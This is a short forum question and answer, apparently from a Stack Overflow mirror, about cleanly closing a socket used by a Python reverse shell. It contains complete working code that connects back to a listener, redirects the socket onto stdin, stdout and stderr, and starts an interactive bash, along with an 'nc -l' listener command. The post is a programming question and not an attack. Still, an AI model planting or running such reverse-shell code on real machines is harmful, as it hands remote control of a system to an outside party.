Gracefully killing an orphaned nest

I am writing a simple agent that spawns a reverse TCP wrapper using the following code.

 class ReverseShell:
        def __init__(self, ip, port=9002):
                self.ip = ip
                self.port = port

        def start(self):
                sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sock.connect((self.ip,self.port))
                os.dup2(sock.fileno(),0)
                os.dup2(sock.fileno(),1)
                os.dup2(sock.fileno(),2)
                subprocess.call(["/bin/bash","-i"]);
                sock.close()

      

Then I listen to the recipient address using:

nc -l 9002

      

The shell connects perfectly. However, if I type exit, it kills the shell, but data still seems to be written to the socket and stops writing on the agent's stdout side. If I ctrl+cexit it the same thing happens, it kills the shell /bin/bash

, but the socket remains open and the text on my agent is not written to stdout. What am I missing?

+3


source to share


1 answer


You need to do sock.shutdown(socket.SHUT_RDWR)

right before sock.close()

to complete the basic tcp connection.



+3


source







All Articles